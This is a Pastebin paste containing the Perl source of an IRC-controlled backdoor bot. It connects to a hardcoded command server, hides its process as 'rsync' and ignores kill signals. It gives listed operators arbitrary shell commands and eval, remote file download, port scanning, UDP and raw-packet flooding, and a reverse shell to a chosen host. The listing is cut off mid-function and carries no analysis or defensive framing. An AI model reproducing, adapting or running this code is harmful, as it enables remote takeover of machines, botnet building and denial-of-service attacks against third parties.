Advertisement
Guest User

Untitled

a guest
Feb 17th, 2020
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.32 KB | None | 0 0
  1. my $processo = 'rsync';
  2.  
  3. $servidor='45.9.148.99' unless $servidor;
  4. my $porta='443';
  5. my @canais=("#007");
  6. my @adms=("polly","molly");
  7. my @auth=("localhost");
  8.  
  9. my $linas_max=6;
  10. my $sleep=3;
  11.  
  12. my $nick = getnick();
  13. my $ircname = getnick();
  14. my $realname = (`uname -a`);
  15.  
  16. my $acessoshell = 1;
  17. my $prefixo = "! ";
  18. my $estatisticas = 0;
  19. my $pacotes = 1;
  20.  
  21. my $VERSAO = '0.2a';
  22.  
  23. $SIG{'INT'} = 'IGNORE';
  24. $SIG{'HUP'} = 'IGNORE';
  25. $SIG{'TERM'} = 'IGNORE';
  26. $SIG{'CHLD'} = 'IGNORE';
  27. $SIG{'PS'} = 'IGNORE';
  28.  
  29. use IO::Socket;
  30. use Socket;
  31. use IO::Select;
  32. chdir("/");
  33. $servidor="$ARGV[0]" if $ARGV[0];
  34. $0="$processo"."\0";
  35. my $pid=fork;
  36. exit if $pid;
  37. die "Problema com o fork: $!" unless defined($pid);
  38.  
  39. my %irc_servers;
  40. my %DCC;
  41. my $dcc_sel = new IO::Select->new();
  42.  
  43.  
  44.  
  45.  
  46. sub getnick {
  47. return "x".int(rand(9000)).int(rand(9000));
  48. }
  49.  
  50.  
  51. sub getident {
  52. my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  53. my $identchance = int(rand(99000));
  54. if ($identchance > 30) {
  55. return $nick;
  56. } else {
  57. return $retornoident;
  58. }
  59. return $retornoident;
  60. }
  61.  
  62. sub getname {
  63. my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  64. return $retornoname;
  65. }
  66.  
  67. sub getident2 {
  68. my $length=shift;
  69. $length = 3 if ($length < 3);
  70.  
  71. my @chars=('a'..'z','A'..'Z','1'..'9');
  72. foreach (1..$length)
  73. {
  74. $randomstring.=$chars[rand @chars];
  75. }
  76. return $randomstring;
  77. }
  78.  
  79. sub getstore ($$)
  80. {
  81. my $url = shift;
  82. my $file = shift;
  83.  
  84. $http_stream_out = 1;
  85. open(GET_OUTFILE, "> $file");
  86. %http_loop_check = ();
  87. _get($url);
  88. close GET_OUTFILE;
  89. return $main::http_get_result;
  90. }
  91.  
  92. sub _get
  93. {
  94. my $url = shift;
  95. my $proxy = "";
  96. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  97. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  98. my $host = $1;
  99. my $port = $2 || 80;
  100. my $path = $3;
  101. $path = "/" unless defined($path);
  102. return _trivial_http_get($host, $port, $path);
  103. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  104. my $host = $1;
  105. my $port = $2;
  106. my $path = $url;
  107. return _trivial_http_get($host, $port, $path);
  108. } else {
  109. return undef;
  110. }
  111. }
  112.  
  113.  
  114. sub _trivial_http_get
  115. {
  116. my($host, $port, $path) = @_;
  117. my($AGENT, $VERSION, $p);
  118.  
  119. $AGENT = "get-minimal";
  120. $VERSION = "20000118";
  121.  
  122. $path =~ s/ /%20/g;
  123.  
  124. require IO::Socket;
  125. local($^W) = 0;
  126. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  127. PeerPort => $port,
  128. Proto => 'tcp',
  129. Timeout => 60) || return;
  130. $sock->autoflush;
  131. my $netloc = $host;
  132. $netloc .= ":$port" if $port != 80;
  133. my $request = "GET $path HTTP/1.0\015\012"
  134. . "Host: $netloc\015\012"
  135. . "User-Agent: $AGENT/$VERSION/u\015\012";
  136. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  137. $request .= "\015\012";
  138. print $sock $request;
  139.  
  140. my $buf = "";
  141. my $n;
  142. my $b1 = "";
  143. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  144. if ($b1 eq "") {
  145. $b1 = $buf;
  146. $buf =~ s/.+?\015?\012\015?\012//s;
  147. }
  148. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  149. }
  150. return undef unless defined($n);
  151.  
  152. $main::http_get_result = 200;
  153. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  154. $main::http_get_result = $1;
  155. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  156. ) {
  157. my $url = $1;
  158. return undef if $http_loop_check{$url}++;
  159. return _get($url);
  160. }
  161. return undef unless $main::http_get_result =~ /^2/;
  162. }
  163.  
  164. return $buf;
  165. }
  166.  
  167.  
  168. $sel_cliente = IO::Select->new();
  169. sub sendraw {
  170. if ($#_ == '1') {
  171. my $socket = $_[0];
  172. print $socket "$_[1]\n";
  173. } else {
  174. print $IRC_cur_socket "$_[0]\n";
  175. }
  176. }
  177.  
  178. sub conectar {
  179. my $meunick = $_[0];
  180. my $servidor_con = $_[1];
  181. my $porta_con = $_[2];
  182.  
  183. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  184. if (defined($IRC_socket)) {
  185. $IRC_cur_socket = $IRC_socket;
  186.  
  187. $IRC_socket->autoflush(1);
  188. $sel_cliente->add($IRC_socket);
  189.  
  190. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  191. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  192. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  193. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  194. nick("$meunick");
  195. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  196. sleep 2;
  197. }
  198.  
  199. }
  200. my $line_temp;
  201. while( 1 ) {
  202. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  203. delete($irc_servers{''}) if (defined($irc_servers{''}));
  204. &DCC::connections;
  205. my @ready = $sel_cliente->can_read(0.6);
  206. next unless(@ready);
  207. foreach $fh (@ready) {
  208. $IRC_cur_socket = $fh;
  209. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  210. $nread = sysread($fh, $msg, 4096);
  211. if ($nread == 0) {
  212. $sel_cliente->remove($fh);
  213. $fh->close;
  214. delete($irc_servers{$fh});
  215. }
  216. @lines = split (/\n/, $msg);
  217.  
  218. for(my $c=0; $c<= $#lines; $c++) {
  219. $line = $lines[$c];
  220. $line=$line_temp.$line if ($line_temp);
  221. $line_temp='';
  222. $line =~ s/\r$//;
  223. unless ($c == $#lines) {
  224. parse("$line");
  225. } else {
  226. if ($#lines == 0) {
  227. parse("$line");
  228. } elsif ($lines[$c] =~ /\r$/) {
  229. parse("$line");
  230. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  231. parse("$line");
  232. } else {
  233. $line_temp = $line;
  234. }
  235. }
  236. }
  237. }
  238. }
  239.  
  240. sub parse {
  241. my $servarg = shift;
  242. if ($servarg =~ /^PING \:(.*)/) {
  243. sendraw("PONG :$1");
  244. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  245. my $pn=$1; my $onde = $4; my $args = $5;
  246. if ($args =~ /^\001VERSION\001$/) {
  247. notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
  248. }
  249. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  250. notice("$pn", "\001PONG\001");
  251. }
  252. elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  253. if ($onde eq "$meunick"){
  254. shell("$pn", "$args");
  255. }
  256. elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  257. my $natrix = $1;
  258. my $arg = $2;
  259. if ($arg =~ /^\!(.*)/) {
  260. ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  261. } elsif ($arg =~ /^\@(.*)/) {
  262. $ondep = $onde;
  263. $ondep = $pn if $onde eq $meunick;
  264. bfunc("$ondep","$1");
  265. } else {
  266. shell("$onde", "$arg");
  267. }
  268. }
  269. }
  270. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  271. if (lc($1) eq lc($meunick)) {
  272. $meunick=$4;
  273. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  274. }
  275. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  276. $meunick = getnick();
  277. nick("$meunick");
  278. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  279. $meunick = $2;
  280. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  281. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  282. foreach my $canal (@canais) {
  283. sendraw("JOIN $canal");
  284. }
  285. }
  286. }
  287.  
  288. sub bfunc {
  289. my $printl = $_[0];
  290. my $funcarg = $_[1];
  291. if (my $pid = fork) {
  292. waitpid($pid, 0);
  293. } else {
  294. if (fork) {
  295. exit;
  296. } else {
  297. if ($funcarg =~ /^portscan (.*)/) {
  298. my $hostip="$1";
  299. my @portas=("21","22","23","25","53","80","110","143","6665");
  300. my (@aberta, %porta_banner);
  301. foreach my $porta (@portas) {
  302. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  303. if ($scansock) {
  304. push (@aberta, $porta);
  305. $scansock->close;
  306. }
  307. }
  308. if (@aberta) {
  309. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  310. } else {
  311. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  312. }
  313. }
  314.  
  315. elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  316. getstore("$1", "$2");
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
  318. }
  319.  
  320. elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  321. my $hostname="$1";
  322. my $portainicial = "$2";
  323. my $portafinal = "$3";
  324. my (@abertas, %porta_banner);
  325. foreach my $porta ($portainicial..$portafinal)
  326. {
  327. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  328. if ($scansock) {
  329. push (@abertas, $porta);
  330. $scansock->close;
  331. if ($estatisticas) {
  332. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  333. }
  334. }
  335. }
  336. if (@abertas) {
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  338. } else {
  339. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  340. }
  341. }
  342.  
  343. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  344. return unless $pacotes;
  345. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  346. my $alvo=inet_aton("$1");
  347. my $porta = "$2";
  348. my $tempo = "$3";
  349. my $pacote;
  350. my $pacotese;
  351. my $fim = time + $tempo;
  352. my $pacota = 1;
  353. while (($pacota == "1") && ($pacotes == "1")) {
  354. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  355. $pacote=$rand x $rand x $rand;
  356. $porta = int(rand 65000) +1 if ($porta == "0");
  357. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  358. }
  359. if ($estatisticas)
  360. {
  361. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  362. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  363. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  364. }
  365. }
  366.  
  367. elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  368. return unless $pacotes;
  369. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  370. my $faixaip="$1";
  371. my $porta = "$2";
  372. my $tempo = "$3";
  373. my $pacote;
  374. my $pacotes;
  375. my $fim = time + $tempo;
  376. my $pacota = 1;
  377. my $alvo;
  378. while ($pacota == "1") {
  379. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  380. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  381. $alvo = inet_aton("$faixaip.$faixa");
  382. $pacote=$rand x $rand x $rand;
  383. $porta = int(rand 65000) +1 if ($porta == "0");
  384. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  385. if ($faixa >= 255) {
  386. $faixa = 1;
  387. }
  388. }
  389. }
  390. if ($estatisticas)
  391. {
  392. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  393. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  394. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  395. }
  396. }
  397.  
  398. elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  399. my $host = "$1";
  400. my $porta = "$2";
  401. my $proto = getprotobyname('tcp');
  402. my $iaddr = inet_aton($host);
  403. my $paddr = sockaddr_in($porta, $iaddr);
  404. my $shell = "/bin/sh -i";
  405. if ($^O eq "MSWin32") {
  406. $shell = "cmd.exe";
  407. }
  408. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  409. connect(SOCKET, $paddr) or die "connect: $!";
  410. open(STDIN, ">&SOCKET");
  411. open(STDOUT, ">&SOCKET");
  412. open(STDERR, ">&SOCKET");
  413. system("$shell");
  414. close(STDIN);
  415. close(STDOUT);
  416. close(STDERR);
  417.  
  418. if ($estatisticas)
  419. {
  420. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  421. }
  422. }
  423.  
  424. elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  425. return unless $pacotes;
  426. my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  427. $dtime = 1 if $dtime == 0;
  428. my %bytes;
  429. $bytes{igmp} = $2 * $pacotes{igmp};
  430. $bytes{icmp} = $2 * $pacotes{icmp};
  431. $bytes{o} = $2 * $pacotes{o};
  432. $bytes{udp} = $2 * $pacotes{udp};
  433. $bytes{tcp} = $2 * $pacotes{tcp};
  434. unless ($estatisticas)
  435. {
  436. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
  437. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
  438. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
  439. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  440. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  441. }
  442. }
  443. exit;
  444. }
  445. }
  446. }
  447.  
  448. sub ircase {
  449. my ($kem, $printl, $case) = @_;
  450.  
  451. if ($case =~ /^join (.*)/) {
  452. j("$1");
  453. }
  454. elsif ($case =~ /^part (.*)/) {
  455. p("$1");
  456. }
  457. elsif ($case =~ /^rejoin\s+(.*)/) {
  458. my $chan = $1;
  459. if ($chan =~ /^(\d+) (.*)/) {
  460. for (my $ca = 1; $ca <= $1; $ca++ ) {
  461. p("$2");
  462. j("$2");
  463. }
  464. } else {
  465. p("$chan");
  466. j("$chan");
  467. }
  468. }
  469. elsif ($case =~ /^op/) {
  470. op("$printl", "$kem") if $case eq "op";
  471. my $oarg = substr($case, 3);
  472. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  473. }
  474. elsif ($case =~ /^deop/) {
  475. deop("$printl", "$kem") if $case eq "deop";
  476. my $oarg = substr($case, 5);
  477. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  478. }
  479. elsif ($case =~ /^voice/) {
  480. voice("$printl", "$kem") if $case eq "voice";
  481. $oarg = substr($case, 6);
  482. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  483. }
  484. elsif ($case =~ /^devoice/) {
  485. devoice("$printl", "$kem") if $case eq "devoice";
  486. $oarg = substr($case, 8);
  487. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  488. }
  489. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  490. msg("$1", "$2");
  491. }
  492. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  493. for (my $cf = 1; $cf <= $1; $cf++) {
  494. msg("$2", "$3");
  495. }
  496. }
  497. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  498. for (my $cf = 1; $cf <= $1; $cf++) {
  499. ctcp("$2", "$3");
  500. }
  501. }
  502. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  503. ctcp("$1", "$2");
  504. }
  505. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  506. invite("$1", "$2");
  507. }
  508. elsif ($case =~ /^nick (.*)/) {
  509. nick("$1");
  510. }
  511. elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  512. conectar("$2", "$1", 6667);
  513. }
  514. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  515. DCC::SEND("$1", "$2");
  516. }
  517. elsif ($case =~ /^raw (.*)/) {
  518. sendraw("$1");
  519. }
  520. elsif ($case =~ /^eval (.*)/) {
  521. eval "$1";
  522. }
  523. elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  524. sleep int(rand($2));
  525. j("$1");
  526. }
  527. elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  528. sleep int(rand($2));
  529. p("$1");
  530. }
  531. elsif ($case =~ /^sair/) {
  532. quit();
  533. }
  534. elsif ($case =~ /^novonick/) {
  535. my $novonick = getnick();
  536. nick("$novonick");
  537. }
  538. elsif ($case =~ /^estatisticas (.*)/) {
  539. if ($1 eq "on") {
  540. $estatisticas = 1;
  541. msg("$printl", "Estat.sticas ativadas!");
  542. } elsif ($1 eq "off") {
  543. $estatisticas = 0;
  544. msg("$printl", "Estat.sticas desativadas!");
  545. }
  546. }
  547. elsif ($case =~ /^pacotes (.*)/) {
  548. if ($1 eq "on") {
  549. $pacotes = 1;
  550. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  551. } elsif ($1 eq "off") {
  552. $pacotes = 0;
  553. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  554. }
  555. }
  556. }
  557. sub shell {
  558. return unless $acessoshell;
  559. my $printl=$_[0];
  560. my $comando=$_[1];
  561. if ($comando =~ /cd (.*)/) {
  562. chdir("$1") || msg("$printl", "Diret.rio inexistente!");
  563. return;
  564. }
  565. elsif ($pid = fork) {
  566. waitpid($pid, 0);
  567. } else {
  568. if (fork) {
  569. exit;
  570. } else {
  571. my @resp=`$comando 2>&1 3>&1`;
  572. my $c=0;
  573. foreach my $linha (@resp) {
  574. $c++;
  575. chop $linha;
  576. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  577. if ($c >= "$linas_max") {
  578. $c=0;
  579. sleep $sleep;
  580. }
  581. }
  582. exit;
  583. }
  584. }
  585. }
  586.  
  587. sub attacker {
  588. my $iaddr = inet_aton($_[0]);
  589. my $msg = 'B' x $_[1];
  590. my $ftime = $_[2];
  591. my $cp = 0;
  592. my (%pacotes);
  593. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  594.  
  595. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  596. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  597. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  598. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  599. return(undef) if $cp == 4;
  600. my $itime = time;
  601. my ($cur_time);
  602. while ( 1 ) {
  603. for (my $porta = 1; $porta <= 65535; $porta++) {
  604. $cur_time = time - $itime;
  605. last if $cur_time >= $ftime;
  606. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  607. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  608. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  609. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  610.  
  611. for (my $pc = 3; $pc <= 255;$pc++) {
  612. next if $pc == 6;
  613. $cur_time = time - $itime;
  614. last if $cur_time >= $ftime;
  615. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  616. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  617. }
  618. }
  619. last if $cur_time >= $ftime;
  620. }
  621. return($cur_time, %pacotes);
  622. }
  623.  
  624.  
  625. sub action {
  626. return unless $#_ == 1;
  627. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  628. }
  629.  
  630. sub ctcp {
  631. return unless $#_ == 1;
  632. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  633. }
  634. sub msg {
  635. return unless $#_ == 1;
  636. sendraw("PRIVMSG $_[0] :$_[1]");
  637. }
  638.  
  639. sub notice {
  640. return unless $#_ == 1;
  641. sendraw("NOTICE $_[0] :$_[1]");
  642. }
  643.  
  644. sub op {
  645. return unless $#_ == 1;
  646. sendraw("MODE $_[0] +o $_[1]");
  647. }
  648. sub deop {
  649. return unless $#_ == 1;
  650. sendraw("MODE $_[0] -o $_[1]");
  651. }
  652. sub hop {
  653. return unless $#_ == 1;
  654. sendraw("MODE $_[0] +h $_[1]");
  655. }
  656. sub dehop {
  657. return unless $#_ == 1;
  658. sendraw("MODE $_[0] +h $_[1]");
  659. }
  660. sub voice {
  661. return unless $#_ == 1;
  662. sendraw("MODE $_[0] +v $_[1]");
  663. }
  664. sub devoice {
  665. return unless $#_ == 1;
  666. sendraw("MODE $_[0] -v $_[1]");
  667. }
  668. sub ban {
  669. return unless $#_ == 1;
  670. sendraw("MODE $_[0] +b $_[1]");
  671. }
  672. sub unban {
  673. return unless $#_ == 1;
  674. sendraw("MODE $_[0] -b $_[1]");
  675. }
  676. sub kick {
  677. return unless $#_ == 1;
  678. sendraw("KICK $_[0] $_[1] :$_[2]");
  679. }
  680.  
  681. sub modo {
  682. return unless $#_ == 0;
  683. sendraw("MODE $_[0] $_[1]");
  684. }
  685. sub mode { modo(@_); }
  686.  
  687. sub j { &join(@_); }
  688. sub join {
  689. return unless $#_ == 0;
  690. sendraw("JOIN $_[0]");
  691. }
  692. sub p { part(@_); }
  693. sub part {sendraw("PART $_[0]");}
  694.  
  695. sub nick {
  696. return unless $#_ == 0;
  697. sendraw("NICK $_[0]");
  698. }
  699.  
  700. sub invite {
  701. return unless $#_ == 1;
  702. sendraw("INVITE $_[1] $_[0]");
  703. }
  704. sub topico {
  705. return unless $#_ == 1;
  706. sendraw("TOPIC $_[0] $_[1]");
  707. }
  708. sub topic { topico(@_); }
  709.  
  710. sub whois {
  711. return unless $#_ == 0;
  712. sendraw("WHOIS $_[0]");
  713. }
  714. sub who {
  715. return unless $#_ == 0;
  716. sendraw("WHO $_[0]");
  717. }
  718. sub names {
  719. return unless $#_ == 0;
  720. sendraw("NAMES $_[0]");
  721. }
  722. sub away {
  723. sendraw("AWAY $_[0]");
  724. }
  725. sub back { away(); }
  726. sub quit {
  727. sendraw("QUIT :$_[0]");
  728. exit;
  729. }
  730.  
  731. package DCC;
  732.  
  733. sub connections {
  734. my @ready = $dcc_sel->can_read(1);
  735. foreach my $fh (@ready) {
  736. my $dcctipo = $DCC{$fh}{tipo};
  737. my $arquivo = $DCC{$fh}{arquivo};
  738. my $bytes = $DCC{$fh}{bytes};
  739. my $cur_byte = $DCC{$fh}{curbyte};
  740. my $nick = $DCC{$fh}{nick};
  741.  
  742. my $msg;
  743. my $nread = sysread($fh, $msg, 10240);
  744.  
  745. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  746. $DCC{$fh}{status} = "Cancelado";
  747. $DCC{$fh}{ftime} = time;
  748. $dcc_sel->remove($fh);
  749. $fh->close;
  750. next;
  751. }
  752.  
  753. if ($dcctipo eq "get") {
  754. $DCC{$fh}{curbyte} += length($msg);
  755.  
  756. my $cur_byte = $DCC{$fh}{curbyte};
  757.  
  758. open(FILE, ">> $arquivo");
  759. print FILE "$msg" if ($cur_byte <= $bytes);
  760. close(FILE);
  761.  
  762. my $packbyte = pack("N", $cur_byte);
  763. print $fh "$packbyte";
  764.  
  765. if ($bytes == $cur_byte) {
  766. $dcc_sel->remove($fh);
  767. $fh->close;
  768. $DCC{$fh}{status} = "Recebido";
  769. $DCC{$fh}{ftime} = time;
  770. next;
  771. }
  772. } elsif ($dcctipo eq "send") {
  773. my $send = $fh->accept;
  774. $send->autoflush(1);
  775. $dcc_sel->add($send);
  776. $dcc_sel->remove($fh);
  777. $DCC{$send}{tipo} = 'sendcon';
  778. $DCC{$send}{itime} = time;
  779. $DCC{$send}{nick} = $nick;
  780. $DCC{$send}{bytes} = $bytes;
  781. $DCC{$send}{curbyte} = 0;
  782. $DCC{$send}{arquivo} = $arquivo;
  783. $DCC{$send}{ip} = $send->peerhost;
  784. $DCC{$send}{porta} = $send->peerport;
  785. $DCC{$send}{status} = "Enviando";
  786.  
  787. open(FILE, "< $arquivo");
  788. my $fbytes;
  789. read(FILE, $fbytes, 1024);
  790. print $send "$fbytes";
  791. close FILE;
  792. } elsif ($dcctipo eq 'sendcon') {
  793. my $bytes_sended = unpack("N", $msg);
  794. $DCC{$fh}{curbyte} = $bytes_sended;
  795. if ($bytes_sended == $bytes) {
  796. $fh->close;
  797. $dcc_sel->remove($fh);
  798. $DCC{$fh}{status} = "Enviado";
  799. $DCC{$fh}{ftime} = time;
  800. next;
  801. }
  802. open(SENDFILE, "< $arquivo");
  803. seek(SENDFILE, $bytes_sended, 0);
  804. my $send_bytes;
  805. read(SENDFILE, $send_bytes, 1024);
  806. print $fh "$send_bytes";
  807. close(SENDFILE);
  808. }
  809. }
  810. }
  811.  
  812.  
  813. sub SEND {
  814. my ($nick, $arquivo) = @_;
  815. unless (-r "$arquivo") {
  816. return(0);
  817. }
  818.  
  819. my $dccark = $arquivo;
  820. $dccark =~ s/[.*\/](\S+)/$1/;
  821.  
  822. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  823. my $longip = unpack("N",inet_aton($meuip));
  824.  
  825. my @filestat = stat($arquivo);
  826. my $size_total=$filestat[7];
  827. if ($size_total == 0) {
  828. return(0);
  829. }
  830.  
  831. my ($porta, $sendsock);
  832. do {
  833. $porta = int rand(64511);
  834. $porta += 1024;
  835. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  836. } until $sendsock;
  837.  
  838. $DCC{$sendsock}{tipo} = 'send';
  839. $DCC{$sendsock}{nick} = $nick;
  840. $DCC{$sendsock}{bytes} = $size_total;
  841. $DCC{$sendsock}{arquivo} = $arquivo;
  842.  
  843.  
  844. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  845.  
  846. }
  847.  
  848. sub GET {
  849. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  850. return(0) if (-e "$arquivo");
  851. if (open(FILE, "> $arquivo")) {
  852. close FILE;
  853. } else {
  854. return(0);
  855. }
  856.  
  857. my $dccip=fixaddr($dcclongip);
  858. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  859. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  860. $dccsock->autoflush(1);
  861. $dcc_sel->add($dccsock);
  862. $DCC{$dccsock}{tipo} = 'get';
  863. $DCC{$dccsock}{itime} = time;
  864. $DCC{$dccsock}{nick} = $nick;
  865. $DCC{$dccsock}{bytes} = $bytes;
  866. $DCC{$dccsock}{curbyte} = 0;
  867. $DCC{$dccsock}{arquivo} = $arquivo;
  868. $DCC{$dccsock}{ip} = $dccip;
  869. $DCC{$dccsock}{porta} = $dccporta;
  870. $DCC{$dccsock}{status} = "Recebendo";
  871. }
  872.  
  873. sub Status {
  874. my $socket = shift;
  875. my $sock_tipo = $DCC{$socket}{tipo};
  876. unless (lc($sock_tipo) eq "chat") {
  877. my $nick = $DCC{$socket}{nick};
  878. my $arquivo = $DCC{$socket}{arquivo};
  879. my $itime = $DCC{$socket}{itime};
  880. my $ftime = time;
  881. my $status = $DCC{$socket}{status};
  882. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  883.  
  884. my $d_time = $ftime-$itime;
  885.  
  886. my $cur_byte = $DCC{$socket}{curbyte};
  887. my $bytes_total = $DCC{$socket}{bytes};
  888.  
  889. my $rate = 0;
